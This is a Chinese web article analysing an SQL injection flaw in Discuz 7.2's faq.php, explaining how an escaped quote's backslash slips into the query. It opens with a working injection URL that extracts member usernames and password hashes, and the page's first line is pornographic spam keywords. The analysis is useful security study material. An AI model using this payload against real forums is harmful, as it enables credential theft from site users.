亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Discuz7.2版的faq.php SQL注入漏洞分析

 更新時間:2014年08月06日 10:20:16   投稿:junjie  
這篇文章主要介紹了Discuz7.2版的faq.php SQL注入漏洞分析,包含注入代碼和源碼分析,需要的朋友可以參考下

注入代碼實例:

復(fù)制代碼 代碼如下:

http://chabaoo.cn/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

復(fù)制代碼 代碼如下:

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定義一個數(shù)組groupids,然后遍歷$gids(這也是個數(shù)組,就是$_GET[gids]),將數(shù)組中的所有值的第一位取出來放在groupids中。

為什么這個操作就造成了注入?

discuz在全局會對GET數(shù)組進(jìn)行addslashes轉(zhuǎn)義,也就是說會將'轉(zhuǎn)義成\',所以,如果我們的傳入的參數(shù)是:gids[1]='的話,會被轉(zhuǎn)義成$gids[1]=\',而這個賦值語句$groupids[] = $row[0]就相當(dāng)于取了字符串的第一個字符,也就是\,把轉(zhuǎn)義符號取出來了。

再看后面,在將數(shù)據(jù)放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數(shù)

很簡單一個函數(shù),就是將剛才的$groupids數(shù)組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。

但是我們的數(shù)組剛?cè)〕鰜硪粋€轉(zhuǎn)義符,它會將這里一個正常的'轉(zhuǎn)義掉,比如這樣:
'1','\','3','4'
有沒有看出有點不同,第4個單引號被轉(zhuǎn)義了,也就是說第5個單引號和第3個單引號閉合。

相關(guān)文章

  • php生成excel列序號代碼實例

    php生成excel列序號代碼實例

    php生成excel列序號的方法,大家參考使用吧
    2013-12-12
  • PHP使用Session遇到的一個Permission denied Notice解決辦法

    PHP使用Session遇到的一個Permission denied Notice解決辦法

    這篇文章主要介紹了PHP使用Session遇到的一個Permission denied Notice解決辦法,本文系統(tǒng)環(huán)境是ubuntu、Debian系統(tǒng),有很小的概率會遇到這個提示,需要的朋友可以參考下
    2014-07-07
  • php json轉(zhuǎn)換相關(guān)知識(小結(jié))

    php json轉(zhuǎn)換相關(guān)知識(小結(jié))

    這篇文章主要介紹了php json轉(zhuǎn)換相關(guān)知識(小結(jié)),小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-12-12
  • 神盾加密解密教程(二)PHP 神盾解密

    神盾加密解密教程(二)PHP 神盾解密

    前些日子一個朋友丟了個shell給我,讓我?guī)兔饷?,打開源碼看了下寫著是 “神盾加密” , 牛逼閃閃的樣子、 百度下發(fā)現(xiàn)神盾是個很古老的東西,最后一次更新是在 2012-10-09。和他相似的另一款是phpjm,有人說是神盾抄襲phpjm的,這些都不是我們所要關(guān)心的問題、phpjm一直在更新,而神盾貌似不搞了,我們分析下神盾,順便寫成工具,方便大家使用(因為他不更新,所以就不用擔(dān)心解密工具失效問題了)。
    2014-06-06
  • CI框架實現(xiàn)框架前后端分離的方法詳解

    CI框架實現(xiàn)框架前后端分離的方法詳解

    這篇文章主要介紹了CI框架實現(xiàn)框架前后端分離的方法,結(jié)合實例形式較為詳細(xì)的分析了CI框架前后端分離的相關(guān)視圖、控制器設(shè)置與擴(kuò)展等操作技巧,需要的朋友可以參考下
    2016-12-12
  • 用PHP實現(xiàn)的生成靜態(tài)HTML速度快類庫

    用PHP實現(xiàn)的生成靜態(tài)HTML速度快類庫

    用PHP實現(xiàn)的生成靜態(tài)HTML速度快類庫...
    2007-03-03
  • 一個模仿oso的php論壇程序源碼(之二)

    一個模仿oso的php論壇程序源碼(之二)

    一個模仿oso的php論壇程序源碼(之二)...
    2007-03-03
  • PHP htmlspecialchars() 函數(shù)實例代碼及用法大全

    PHP htmlspecialchars() 函數(shù)實例代碼及用法大全

    這篇文章主要介紹了PHP htmlspecialchars() 函數(shù)實例代碼及用法大全,需要的朋友可以參考下
    2018-09-09
  • php獲取中文拼音首字母類和函數(shù)分享

    php獲取中文拼音首字母類和函數(shù)分享

    這篇文章主要介紹了php獲取中文拼音首字母類和函數(shù),需要的朋友可以參考下
    2014-04-04
  • PHP無限分類(樹形類)

    PHP無限分類(樹形類)

    PHP無限分類,Google一下就能找到很多相關(guān)資料,思路比較拉風(fēng)的,也是用得比較多的就是分類表至少有id,pid,name三個字段,id自增表分類,pid為父分類,name為分類名,這樣就構(gòu)成了一棵樹,如下,算是我查詢分類表得到的結(jié)果集
    2013-09-09

最新評論